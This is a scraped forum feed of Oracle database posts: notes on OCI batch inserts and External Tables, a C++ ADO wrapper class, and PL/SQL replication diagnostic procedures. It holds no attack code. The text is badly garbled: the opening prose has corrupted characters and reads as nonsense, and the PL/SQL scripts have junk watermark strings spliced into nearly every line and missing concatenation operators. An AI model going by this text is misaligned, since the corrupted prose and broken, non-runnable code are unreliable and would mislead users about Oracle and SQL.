  正在Oracle V6 外 OCI 編程交心減進(jìn)了數(shù)組交心沉醉。數(shù)組操縱答應(yīng)導(dǎo)進(jìn)順序讀與中部白件數(shù)據(jù)并系析先,背降接SQL語(yǔ)句,批質(zhì)拔進(jìn) SQL 語(yǔ)句檢索入的數(shù)據(jù)。Oracle 僅需求施行一主 SQL 語(yǔ)句,然先正在外亡外批質(zhì)系析降求的數(shù)據(jù)。批質(zhì)導(dǎo)進(jìn)操縱比逐止拔進(jìn)沉單操縱更無(wú)消失,那非果為只需一主系析 SQL 語(yǔ)句,一些數(shù)據(jù)綁訂操縱以及順序取之間去來(lái)的操縱皆隱著加長(zhǎng),而且對(duì)于每一條數(shù)據(jù)的操縱皆非沉單否知的,那給降求了劣化施行的否能。其劣面非數(shù)據(jù)導(dǎo)進(jìn)的分體工夫亮隱加長(zhǎng),特地非入程占用 CPU 的工夫。
  需求降醉的非,經(jīng)過(guò) OCI 交心的確否以施行數(shù)據(jù)批質(zhì)導(dǎo)進(jìn)操縱,但非很多農(nóng)具戰(zhàn)足原言語(yǔ)卻沒(méi)有收持運(yùn)用彼過(guò)能。假如要運(yùn)用當(dāng)圓法,需求研討您所運(yùn)用的啟收農(nóng)具非可收持 OCI 批質(zhì)操縱過(guò)能。導(dǎo)進(jìn)順序需求入止單純的編碼并否能亡正在對(duì)誤的風(fēng)夷,短累必定的彈性。
  使用下述圓法,順序?qū)⒅胁繑?shù)據(jù)降與到外亡外的數(shù)組外,并施行批質(zhì)拔進(jìn)操縱(100止/主),保存了里的增除/沉修索引操縱,分的導(dǎo)進(jìn)工夫上落到 14 秒,而入程占用 CPU 的工夫上落到7秒,否睹真際導(dǎo)進(jìn)數(shù)據(jù)所破費(fèi)的工夫隱著上落了 95%。
  CREATE TABLE AS SELECT,運(yùn)用Oracle9i的External Table
   Oracle 9i 的一項(xiàng)舊沉醉便非 External Table,它便象一般的里一樣,具有字段戰(zhàn)數(shù)據(jù)類型束縛,并且否以查詢,但非里外的數(shù)據(jù)卻沒(méi)有亡儲(chǔ)正在外,而非正在取狹小聯(lián)的一般中部白件外。該您查詢 External Table 時(shí),Oracle 將系析當(dāng)白件并往來(lái)契合條件的數(shù)據(jù),便象當(dāng)數(shù)據(jù)亡儲(chǔ)正在里外一樣。
   需求留意的非,您否以正在查詢語(yǔ)句外將 External Table 取外其他里入止銜接(Join),但非沒(méi)有能給 External Table 減下索引,并且沒(méi)有能拔進(jìn)/更舊/增除數(shù)據(jù),究竟它沒(méi)有非實(shí)反的里。另中,假如取狹小聯(lián)的中部白件被改動(dòng)或者者被增除,那會(huì)影響到 External Table 往來(lái)查詢解因,所以正在變化后要后和挨招待。
]]>
Oracle上機(jī)試驗(yàn)報(bào)告http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2498&Page=1wangxinxin2010-12-11 10:58:44
以下內(nèi)容含腳本,或可能導(dǎo)致頁(yè)面不正常的代碼
說(shuō)明:上面顯示的是代碼內(nèi)容。您可以先檢查過(guò)代碼沒(méi)問(wèn)題,或修改之后再運(yùn)行.
]]>
Oracle 數(shù)據(jù)庫(kù)常用方法封裝類http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2497&Page=1wangxinxin2010-12-11 10:53:01#include <stdio.h>
#include <stdlib.h>

#pragma warning (disable:4251)
#pragma warning (disable:4313)

// 配置數(shù)據(jù)源必須頭文件
#include <odbcinst.h>
/*---------------------------------------------------------------------------*/
/*-------------------------- OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
/*
模塊名稱:OracleDataBaseCtrl.dll
版    本:0.1 Alpha
版    權(quán):
模塊功能:Oracle 數(shù)據(jù)庫(kù)操作類
作    者:wlzqi
作者郵箱:mailto:wlzqin@sina.com
建立時(shí)間:2006年7月3日
最后修改:by wlzqi 2006年7月4日
修改歷程:
注意事項(xiàng):1.支持 UNICODE、ANSI 編碼
    2.當(dāng)使用 get_collect_value 方法時(shí),如果返回值是 NULL 則會(huì)發(fā)生異常,請(qǐng)注意處理。
備  注: 測(cè)試環(huán)境 WinXp + Vc 2003
使用舉例:
  ★// 定義對(duì)象
  COracleDataBaseCtrl m_OracleDataBase;
  ★// 1.打開(kāi)數(shù)據(jù)庫(kù)
  m_OracleDataBase.open_database(數(shù)據(jù)庫(kù)MDB文件路徑, 用戶名, 密碼);   // 如沒(méi)有用戶名和密碼可以不寫
  ★// 2.關(guān)閉數(shù)據(jù)庫(kù)
  m_OracleDataBase.close_database();
  ★// 3.打開(kāi)數(shù)據(jù)庫(kù)表
  // m_OracleDataBase.open_table(表名);
  ★// 4.刪除表
  m_OracleDataBase.del_table(表名);
  ★// 5.關(guān)閉數(shù)據(jù)庫(kù)表
  m_OracleDataBase.close_table();
  ★// 6.遍歷數(shù)據(jù)庫(kù)表
  PTSTR ptTableName;
  for (bool bfOk = m_OracleDataBase.first_table_name(ptTableName); bfOk; bfOk = m_OracleDataBase.next_table_name(ptTableName)) {
   if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) == 0) continue;
   // 得到表名
   MessageBox(ptTableName);
  }
  ★// 7.添加字段
  m_OracleDataBase.add_field(表名, 字段);  // 字段形式 _TEXT(\\\"Field1 INTEGER, Field2 INTEGER, ...\\\")
  ★// 8.刪除字段
  m_OracleDataBase.del_field(表名, 字段名);
  ★// 9.獲取字段數(shù)量
  int nFieldCount = m_OracleDataBase.get_field_count(表名);
  ★// 10.遍歷字段
  for (int i = 0; i < nFieldCount; i++) {
   PCTSTR pctFieldName = m_OracleDataBase.get_field_name(i, 表名);
   MessageBox(pctFieldName);
  }
  ★// 11.獲取字段類型
  DataTypeEnum FieldType;
  m_OracleDataBase.get_field_type(字段號(hào), FieldType);  // 字段號(hào):字段的序號(hào)(從 0 開(kāi)始)
  ★// 12.執(zhí)行 SQL 語(yǔ)句
  m_OracleDataBase.execute_sql(SQL 語(yǔ)句);
  ★// 13.獲取數(shù)據(jù)庫(kù)內(nèi)容
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT * FROM 表名\\\"));  // 查詢所有數(shù)據(jù)
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT COUNT(*) FROM 表名\\\"));  // 得到數(shù)據(jù)庫(kù)記錄條數(shù)
  _variant_t vtItemCount = m_OracleDataBase.get_collect_value(long(0));
  _bstr_t bsValue = vtItemCount;  // 將結(jié)果格式化為字符串
  ★// 14.遍歷數(shù)據(jù)庫(kù)所有內(nèi)容
  TCHAR szSQL[MAX_PATH];
  _stprintf(szSQL, _TEXT(\\\"SELECT * FROM %s\\\"), ptTableName);  // 格式化 SQL 語(yǔ)句
  m_OracleDataBase.execute_sql(szSQL);   // 執(zhí)行 SQL 語(yǔ)句
  m_OracleDataBase.first();  // 將游標(biāo)移動(dòng)到第一條數(shù)據(jù)
  _bstr_t bsValue;
  for (int i = 0; i < vtItemCount.intVal; i++) {    // 循環(huán)所用行
   if (m_OracleDataBase.Is_BOF() == 1) break;   // 如到了表最后則退出循環(huán)
   for (int j = 0; j < nFieldCount; j++) {   // 循環(huán)所有列
    variant_t vtValue = m_OracleDataBase.get_collect_value(long(j));  // 格式化得到的每列數(shù)據(jù)為字符串
    bsValue = _bstr_t(vtValue.vt == VT_NULL ? _TEXT(\\\"\\\") : vtValue.vt);
   }
   bfOk = m_AccessDataBaseCtrl.next();   // 移動(dòng)到下一列
  }
  ★// 15.刪除當(dāng)前行
  m_OracleDataBase.del_collect_value();
  ★// 16.注冊(cè)數(shù)據(jù)庫(kù)
  COracleDataBaseCtrl::Configuration_DataBaseSource(DNS, 數(shù)據(jù)庫(kù)DB文件路徑, 描述);
  ★// 17.其它還有一些請(qǐng)參:OracleDataBaseCtrl.h 文件
  ★// 18.反注冊(cè) COM   CoUninitialize();
*/
#pragma once

#pragma warning(disable:4146)
#import \\\"c:\\\\Program Files\\\\Common Files\\\\System\\\\ado\\\\Msado15.dll\\\" \\\\
no_namespace \\\\
rename (_TEXT(\\\"EOF\\\"), _TEXT(\\\"adoEOF\\\"))
#pragma warning(default:4146 )
 
 
#ifdef ORACLEDATABASECTRL_EXPORTS
#define ORACLEDATABASECTRL_API __declspec(dllexport)
#else
#define ORACLEDATABASECTRL_API __declspec(dllimport)
#endif
 

// 此類是從 OracleDataBaseCtrl.dll 導(dǎo)出的
class ORACLEDATABASECTRL_API COracleDataBaseCtrl {
public:
 COracleDataBaseCtrl(void);
 // TODO: 在此添加您的方法。
 ~COracleDataBaseCtrl();
 //****************************************************************************
private:
 _ConnectionPtr m_pConnection;
 _RecordsetPtr m_pRecordset;
 HRESULT hr;
 //****************************************************************************
public:
 // 打開(kāi)數(shù)據(jù)庫(kù)
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_database(PCTSTR pctsUser, PCTSTR pctsPass, PCTSTR pctsServer, long Options = adModeUnknown);
 // 斷開(kāi)數(shù)據(jù)庫(kù)
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_database();
 //****************************************************************************
 // 打開(kāi)表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 關(guān)閉表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_table();
 // 創(chuàng)建表創(chuàng)建表和字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT create_table(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 添加字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT add_field(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_field(PCTSTR pctsTableName, PCTSTR pctsFieldName, long Options = adCmdText);
 // 得到表的字段數(shù)量
 unsigned long get_field_count(PCTSTR pctsTableName);
 // 得到表的字段名
 PCTSTR get_field_name(unsigned long unFieldIndex, PCTSTR pctsTableName);
 // 得到字段的類型
 // 參數(shù):pFieldType [OUT] 字段類型
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT get_field_type(unsigned long unFieldIndex, DataTypeEnum &FieldType);
 // 遍歷所有表名(第一個(gè))
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯(cuò)或遍歷完畢
 bool first_table_name(PTSTR &ptsTableName);
 // 遍歷所有表名(下一個(gè))
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯(cuò)或遍歷完畢
 bool next_table_name(PTSTR &ptsTableName);
 //****************************************************************************
 // 執(zhí)行 SQL 語(yǔ)句
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT execute_sql(PCTSTR pctsSQL, long Options = adCmdText);
 // 是否到記錄集末端(0--沒(méi)有,1--是 -1--錯(cuò)誤)
 int Is_BOF(void);
 // 跳向前一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT prev(void);
 // 遍歷到第一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT first(void);
 // 遍歷到下個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT next(void);
 // 遍歷到最后一個(gè)記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT last(void);
 // 更新(確認(rèn))記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT update(void);
 // 重新查詢
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT reQuery(long Options = 0);
 // 記錄集是否為空(0--沒(méi)有,1--是 -1--錯(cuò)誤)
 int Is_Empty(void);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(PCTSTR pctsCollectName);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(long lCollectIndex);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(PCTSTR pctsCollectName, _variant_t vtValue);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(long lCollectIndex, _variant_t vtValue);
 // 刪除一行數(shù)據(jù)(當(dāng)前)
 bool del_collect_value();
 //****************************************************************************
 // 配置數(shù)據(jù)源
 static bool Configuration_DataBaseSource(PCTSTR pctDNS, PCTSTR pctDBPath, PCTSTR pctDescription);
};
/*---------------------------------------------------------------------------*/
/*-----------------------End OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
 
 
/*---------------------------------------------------------------------------*/
/*------------------------ OracleDataBaseCtrl.cpp ---------------------------*/
/*---------------------------------------------------------------------------*/
// OracleDataBaseCtrl.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
//
#include \\\"stdafx.h\\\"
#include \\\"OracleDataBaseCtrl.h\\\"

//****************************************************************************
// 數(shù)據(jù)庫(kù)表名
TCHAR * pszTableName;
// 數(shù)據(jù)庫(kù)字段名
TCHAR * pszFieldName;
//****************************************************************************
COracleDataBaseCtrl::COracleDataBaseCtrl()
: m_pConnection(NULL)
, m_pRecordset(NULL)
, hr(NULL)
{
 // 初始化COM
 if(FAILED(::CoInitialize(NULL))) return;
 pszTableName = (TCHAR *)malloc(MAX_PATH);
 if (pszTableName == NULL) return;
 pszFieldName = (TCHAR *)malloc(MAX_PATH);
 if (pszFieldName == NULL) return;
}
COracleDataBaseCtrl::~COracleDataBaseCtrl()
{
 // 反注冊(cè)COM
 CoUninitialize();
 if (pszTableName != NULL) free(pszTableName);
 if (pszFieldName != NULL) free(pszFieldName);
}
]]>
有關(guān)oracle高可靠性的一些討論和想法http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2496&Page=1wangxinxin2010-12-11 10:49:48Oracle 數(shù)據(jù)庫(kù)復(fù)制常用腳本 Oracle的數(shù)據(jù)復(fù)制是一個(gè)Oracle數(shù)據(jù)庫(kù)產(chǎn)品中比較成熟的一項(xiàng)技術(shù),它是整個(gè)分布式計(jì)算解決方案的一個(gè)重要組成部分。 對(duì)于具有復(fù)制環(huán)境的數(shù)據(jù)庫(kù)系統(tǒng),和Oracle DBA一樣,同樣要有一個(gè)人來(lái)專門負(fù)責(zé)維護(hù)Oracle的數(shù)據(jù)復(fù)制問(wèn)題,稱之為Oracle Replication Administrator(Oracle復(fù)制治理員)。本文就Oracle數(shù)據(jù)復(fù)制中復(fù)制治理員經(jīng)常關(guān)心的一些關(guān)于復(fù)制系統(tǒng)的問(wèn)題,編寫了不同的存儲(chǔ)過(guò)程。當(dāng)然,通過(guò)Oracle提供的復(fù)制治理器也可以達(dá)到這些目的,但在實(shí)際應(yīng)用中,Oracle復(fù)制治理器具有不靈活,速度慢,同時(shí)我們不能對(duì)其查詢結(jié)果進(jìn)行隨意控制等等的缺點(diǎn)。一、查看Oracle8x延遲事務(wù)隊(duì)列調(diào)用及調(diào)用個(gè)數(shù)IT我最牛-程序員的技術(shù)討論與分享園地U Zh:uwC*f [`
推(push)一個(gè)大的延遲事務(wù)(Deferred Transactions)隊(duì)列是非常慢的。一個(gè)常見(jiàn)的問(wèn)題就是一個(gè)事務(wù)中含有非常多的調(diào)用(calls)。假如系統(tǒng)檢測(cè)到一個(gè)錯(cuò)誤,如ora-01403(數(shù)據(jù)未找到錯(cuò)誤),也就是我們常說(shuō)的檢測(cè)到?jīng)_突,而且沒(méi)有沖突消除方法,寫到deferror錯(cuò)誤表和回滾事務(wù)的時(shí)間就會(huì)更長(zhǎng),事務(wù)中假如調(diào)用calls很多,則消耗在任何一個(gè)調(diào)用的時(shí)間就會(huì)以指數(shù)形式增長(zhǎng)。對(duì)于數(shù)據(jù)復(fù)制中每個(gè)事務(wù)的調(diào)用數(shù)Oracel強(qiáng)烈建議不超過(guò)50個(gè)。下面的存儲(chǔ)過(guò)程提供了一個(gè)快速查看延遲事務(wù)隊(duì)列中的事務(wù)列表以及每個(gè)事務(wù)中調(diào)用數(shù)的腳本。輸出是以傳輸順序排列的,這個(gè)順序就是事務(wù)將要傳播到主節(jié)點(diǎn)的順序。這對(duì)于確定傳播中的延遲以及掛起等是非常有幫助的。在搭建Oracle數(shù)據(jù)復(fù)制環(huán)境中,有一個(gè)經(jīng)驗(yàn)是值得注重的,那就是一定要設(shè)置沖突解決方案,即可使用Oracle系統(tǒng)提供的幾種方案,也可以自己編寫腳本來(lái)完成沖突處理。為什么這樣說(shuō),一定要設(shè)置沖突解決方案,也許我們可以說(shuō),我們的復(fù)制環(huán)境是一個(gè)單項(xiàng)復(fù)制,不可能出現(xiàn)沖突現(xiàn)象。在這里我講一個(gè)自己的親身經(jīng)歷的例子來(lái)說(shuō)明這個(gè)問(wèn)題,在實(shí)際工作中,我搭建了一個(gè)具有15個(gè)節(jié)點(diǎn)的高級(jí)復(fù)制環(huán)境,一個(gè)主定義節(jié)點(diǎn),14個(gè)主節(jié)點(diǎn),其中14個(gè)主節(jié)點(diǎn)向主定義節(jié)點(diǎn)單向傳遞數(shù)據(jù)。一般來(lái)講這種情況下不會(huì)出現(xiàn)沖突。但是在實(shí)際應(yīng)用中,問(wèn)題就出現(xiàn)了,其中幾個(gè)節(jié)點(diǎn)在傳輸了一些數(shù)據(jù)后,就掛(hang)了起來(lái)。所有可能查找的原因到查了,始終發(fā)現(xiàn)不了問(wèn)題的根結(jié)。最后發(fā)現(xiàn)是由于數(shù)據(jù)傳播到遠(yuǎn)程節(jié)點(diǎn)后,出現(xiàn)了錯(cuò)誤,而在該節(jié)點(diǎn)又沒(méi)有設(shè)置沖突解決方案,同時(shí)出現(xiàn)錯(cuò)誤的該事務(wù)又具有超過(guò)1000條的調(diào)用。其中有一條調(diào)用出錯(cuò)了,事務(wù)需要回滾,而這個(gè)在本地和遠(yuǎn)程節(jié)點(diǎn)間的回滾時(shí)間就會(huì)以幾何基數(shù)增長(zhǎng)。就出現(xiàn)了前面談到的系統(tǒng)掛起(hang)的表現(xiàn)。這也就是說(shuō)即是在根本不可能出現(xiàn)沖突的系統(tǒng)中,由于偶然的不定的錯(cuò)誤進(jìn)程,批量數(shù)據(jù)的處理以及沒(méi)有考慮復(fù)制情況下的數(shù)據(jù)導(dǎo)入都可造成在傳播過(guò)程中嚴(yán)重的性能問(wèn)題,最嚴(yán)重的情況就是系統(tǒng)掛起,不能完成正常的復(fù)制工作。最簡(jiǎn)單和有效的辦法就是在多路復(fù)制環(huán)境下設(shè)置一個(gè)系統(tǒng)確省的沖突處理方法來(lái)避免這種情況的發(fā)生。下面這個(gè)存儲(chǔ)過(guò)程就是在Oracle 8 環(huán)境下列出延遲事務(wù)隊(duì)列中的事務(wù)和事務(wù)中調(diào)用個(gè)數(shù)的腳本,該腳本對(duì)Oracle 7 不支持,這是因?yàn)镺racle 8 和Oracle 7 的復(fù)制機(jī)制發(fā)生了變化。存儲(chǔ)過(guò)程調(diào)用方法:在SQL/PLUS下,首先運(yùn)行下面的設(shè)置,使存儲(chǔ)過(guò)程的輸出到屏幕上, SET SERVEROUTPUT ON SIZE 200000IT我最牛-程序員的技術(shù)討論與分享園地 [QN1b/S{p
EXEC P_LIST_TRANSACTIONS(ORA_SJJK); 其中,存儲(chǔ)過(guò)程的參數(shù)as_destination為所要查看的事務(wù)傳播到目的節(jié)點(diǎn)的延遲隊(duì)列,為數(shù)據(jù)庫(kù)聯(lián)接(DBLINK)名。假如我們看到一個(gè)事務(wù)具有很多的調(diào)用(超過(guò)50個(gè)),這個(gè)事務(wù)很可能就是造成延遲事務(wù)隊(duì)列推過(guò)程延遲甚至是掛起的原因。附:存儲(chǔ)過(guò)程腳本:下載該腳本 CREATE OR REPLACE PROCEDURE REPADMIN.P_LIST_TRANSACTION(as_destination in VARCHAR2) ISIT我最牛-程序員的技術(shù)討論與分享園地.iF8N-]X)]
local_node VARCHAR2(128);
h}6G.w-Ynvo xm0remote_node VARCHAR2(128);
-rt;~'~S5t;H$_0last_scn NUMBER;
]-IYARd!C0last_tid VARCHAR2(22);
A(G:f1^/zEg0last_tdb VARCHAR2(128);
-k7e1jF8x~%Y2U0cnt NUMBER; CURSOR c(last_delivered NUMBER, last_tid VARCHAR2, last_tdb VARCHAR2) IS
%K} iw5^+U0@.p#l_;Y0select cscn, enq_tid,
"mfj?wQPR?0dscn, DECODE(c.recipient_key, 0, 'D', 'R')IT我最牛-程序員的技術(shù)討論與分享園地"|T iM&C
from system.def$_aqcall c whereIT我最牛-程序員的技術(shù)討論與分享園地 ]7{z(V)Y r
(c.cscn >= last_delivered)
r3j^ qN(Q dJ0and ((c.cscn > last_delivered) or (c.enq_tid > last_tid))IT我最牛-程序員的技術(shù)討論與分享園地#cM`Sy2|z"J!mkd
and (IT我最牛-程序員的技術(shù)討論與分享園地 uGND5w^zK
( c.recipient_key = 0IT我最牛-程序員的技術(shù)討論與分享園地 S9X"R0rr [
and exists ( select /*+ index(cd def$_calldest_primary) */ nullIT我最牛-程序員的技術(shù)討論與分享園地)}6g9X,VW6rSI
from system.def$_calldest cd
Qu RoT0where cd.enq_tid = c.enq_tid
c:|F}H:U8H0and cd.dblink = remote_node ) )IT我最牛-程序員的技術(shù)討論與分享園地o:xlN-\~&RW
or ( c.recipient_key > 0
/n.C.U#x+@^r9i0and ( ( exists (
RJn1N X8L0select null from system.repcat$_repprop P
p0K"SHo0where P.dblink = remote_node
(v/@uPB S#Z+BK0and P.how = 1IT我最牛-程序員的技術(shù)討論與分享園地z8c/d,_dl:k)V z4v c?\)I
and P.recipient_key = c.recipient_keyIT我最牛-程序員的技術(shù)討論與分享園地8^#XZ esRGsV7@X
and ((P.delivery_order is NULL)
J,A8YJF&R.rk7i0or (P.delivery_order < c.cscn))))IT我最牛-程序員的技術(shù)討論與分享園地Q~QMzj2qu
or ( existsIT我最牛-程序員的技術(shù)討論與分享園地h0u!g4u`n]Fk
( select /*+ ordered use_nl(rp) */ nullIT我最牛-程序員的技術(shù)討論與分享園地xi7JU%o8k ?rK6^
from system.def$_aqcall cc, system.repcat$_repprop rp
]LI(_ iW*Lq0where cc.enq_tid = c.enq_tidIT我最牛-程序員的技術(shù)討論與分享園地 j L]1po+OO$}
and cc.cscn is null
DT:w:s K mV%Zi)e-eE0and rp.recipient_key = cc.recipient_key
T Sk,Q3Yi0and rp.how = 1IT我最牛-程序員的技術(shù)討論與分享園地#oJ'FE/m:oZ
and rp.dblink = remote_node
5Sq cXFi0and ((rp.delivery_order is NULL)IT我最牛-程序員的技術(shù)討論與分享園地W%i]?['Q H"w%c t6R
or (rp.delivery_order < c.cscn)))))))
)Jz,Z _.v8sKK0order by c.cscn, c.enq_tid;
-bX3g%})S0 BEGINIT我最牛-程序員的技術(shù)討論與分享園地cg;O {S;P,C
SELECT NLS_UPPER(global_name) INTO local_node FROM global_name;IT我最牛-程序員的技術(shù)討論與分享園地6V*YiVDf1V
SELECT dblink INTO remote_node from deftrandest
4rwJ,K)J%T#Vb0WHERE dblink LIKE UPPER (as_destination'%') AND ROWNUM < 2;IT我最牛-程序員的技術(shù)討論與分享園地Ot {l0Y3r
IF (remote_node IS NULL) THENIT我最牛-程序員的技術(shù)討論與分享園地 M0?+t&J!i7K7A
DBMS_OUTPUT.PUT_LINE ('不能確定目標(biāo)節(jié)點(diǎn),輸入?yún)?shù)有誤!');IT我最牛-程序員的技術(shù)討論與分享園地h!OAf1V!p$_%a\
RETURN;
J#| ~8K)\(~0ELSEIT我最牛-程序員的技術(shù)討論與分享園地r1TMy#X-ycB A
DBMS_OUTPUT.PUT_LINE ('延遲事務(wù)目標(biāo)節(jié)點(diǎn)為: 'remote_node);
}@3Q4B hX0QNU0DBMS_OUTPUT.PUT_LINE ('-------------------------------------------');
j#O*A.|9l*x't0END IF;
]Zu\p!M;oL0SELECT last_delivered, last_enq_tid, dblink
M+},sK&?kTW0yy0INTO last_scn, last_tid, last_tdbIT我最牛-程序員的技術(shù)討論與分享園地 K6p)_&{{.w9j\F'l
FROM system.def$_destinationIT我最牛-程序員的技術(shù)討論與分享園地1TReDRJ&S@M
WHERE dblink = remote_node; FOR R IN C(last_scn,last_tid,last_tdb) LOOP
/d7paN2i0SELECT count(*) INTO cnt FROM system.def$_aqcall WHERE enq_tid = r.enq_tid;
'ZsC8D&i1VPn0DBMS_OUTPUT.PUT_LINE ('延遲事務(wù) ID='r.enq_tid' 調(diào)用個(gè)數(shù)='to_char(cnt));
mCj!Dqr$Y/n#}0END LOOP;
rune`K0END;
9yy'z{9dB0/
@5wg:b|6{0  二、Oracle 8高級(jí)復(fù)制環(huán)境設(shè)置問(wèn)題診斷腳本要保證搭建的一個(gè)高級(jí)復(fù)制環(huán)境工作,必須保證所有的復(fù)制對(duì)象處于正常狀態(tài),對(duì)于一個(gè)高級(jí)復(fù)制環(huán)境,要檢查一個(gè)復(fù)制環(huán)境中是否所有對(duì)象均處于正常工作狀態(tài),需要檢查不同的系統(tǒng)字典對(duì)象,包括復(fù)制組對(duì)象,復(fù)制對(duì)象,復(fù)制方案對(duì)象等等。假如搭建的這個(gè)高級(jí)復(fù)制環(huán)境包含很多節(jié)點(diǎn),每個(gè)節(jié)點(diǎn)又包含幾個(gè)復(fù)制方案(schema)以及每個(gè)方案又包含多個(gè)復(fù)制對(duì)象,則完成一遍檢查需要作很多的重復(fù)工作,這里針對(duì)這個(gè)問(wèn)題,編寫了一個(gè)復(fù)制設(shè)置問(wèn)題診斷包,只有運(yùn)行該包中相應(yīng)的過(guò)程,即可完成對(duì)上面提到的相關(guān)對(duì)象的診斷,給出相應(yīng)診斷結(jié)果。運(yùn)行方法是,在SQL/PLUS環(huán)境下, SQL> spool <文件名>IT我最牛-程序員的技術(shù)討論與分享園地}M(~$p;~+u
SQL> set serveroutput on
Y'krMK/REE0SQL> exec rep_diag.rep_diag; 這里強(qiáng)調(diào)一點(diǎn),運(yùn)行該包的用戶,必須具有對(duì)系統(tǒng)字典表dba_repschema、dba_diagnose、dba_repcat以及dba_repcatlog的檢索(select)權(quán)限,當(dāng)然,復(fù)制治理員(RepAdmin)用戶是均有這些權(quán)限的。附:高級(jí)復(fù)制環(huán)境設(shè)置問(wèn)題診斷包腳本。下載該腳本 CREATE OR REPLACE PACKAGE REP_DIAG IS
RmHX+AO kyL0PROCEDURE REP_DIAG;IT我最牛-程序員的技術(shù)討論與分享園地} g W'f)wR*`3\4H
PROCEDURE REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地O L][Y'i:h
PROCEDURE REP_OBJECT;
?sl|$N)G*W0PROCEDURE REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地t(sw~2W%d,O ES3j
PROCEDURE REP_STAT;IT我最牛-程序員的技術(shù)討論與分享園地glC a aHf{f
END REP_DIAG;
9tosP r2i9iQ0/ CREATE OR REPLACE PACKAGE BODY REP_DIAG IS
%}GF'Ll%O3s0PROCEDURE REP_DIAG ISIT我最牛-程序員的技術(shù)討論與分享園地E^B3{9N(z.Q{
BEGINIT我最牛-程序員的技術(shù)討論與分享園地 q\ EDRj0w m
        REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地M-H3HX.F{
        REP_OBJECT;IT我最牛-程序員的技術(shù)討論與分享園地 s+]'[rz'w
        REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地l0nO9l q#K&L2o
        REP_STAT;       
mP"SO\0END REP_DIAG; PROCEDURE REP_SCHEMA ASIT我最牛-程序員的技術(shù)討論與分享園地)\)v7|aZZ
   CURSOR C_SCHEMA IS SELECT SNAME, DBLINK, MASTERDEFIT我最牛-程序員的技術(shù)討論與分享園地DQ$h#G;g1E:o'Xb
                FROM SYS.DBA_REPSCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地0zD+A pfcN[7L
BEGINIT我最牛-程序員的技術(shù)討論與分享園地Zr)Ci[5ij
        DBMS_OUTPUT.PUT_LINE('復(fù)制方案明細(xì)信息');IT我最牛-程序員的技術(shù)討論與分享園地v[!I](f
        DBMS_OUTPUT.PUT_LINE('-------------------------');
"ly?a a4V P ?W ww z%w0        FOR T_SCHEMA IN C_SCHEMA LOOP
(?&A[1uJ W:\/JA2w0                DBMS_OUTPUT.PUT_LINE('方案名稱:    'T_SCHEMA.SNAME);IT我最牛-程序員的技術(shù)討論與分享園地V"|+sC ZH6c
                DBMS_OUTPUT.PUT_LINE('是否為主定義節(jié)點(diǎn): 'T_SCHEMA.MASTERDEF);IT我最牛-程序員的技術(shù)討論與分享園地H9b2r}4U
                DBMS_OUTPUT.PUT_LINE('數(shù)據(jù)庫(kù)聯(lián)接名稱:    'T_SCHEMA.DBLINK);IT我最牛-程序員的技術(shù)討論與分享園地p+D6?J/mxl {(`5\*k
                DBMS_OUTPUT.PUT_LINE('.');IT我最牛-程序員的技術(shù)討論與分享園地]J,Cp7txXe5`
        END LOOP;
)p@P'v[0END REP_SCHEMA;
q5~:i"^ E?f? IN0 PROCEDURE REP_OBJECT AS
Q E-|1|bn.z0   CURSOR C_REP_OBJECT IS SELECT SNAME, ONAME, TYPE, STATUSIT我最牛-程序員的技術(shù)討論與分享園地 ?w.KLAU r V@^1m(B
   ]]>
oracle高可靠性的一些討論和想法http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2495&Page=1wangxinxin2010-12-11 10:46:58http://skyhorse.blogbus.com/logs/2004/03/106569.html
有關(guān)RAC的工作日志:
12月16日到12月23日做RAC的試驗(yàn)。12月24日把服務(wù)器交給QYC做DataGuard.
QYC做完DataGuard試驗(yàn)之后,1月4日我重新開(kāi)始做RAC的試驗(yàn)。
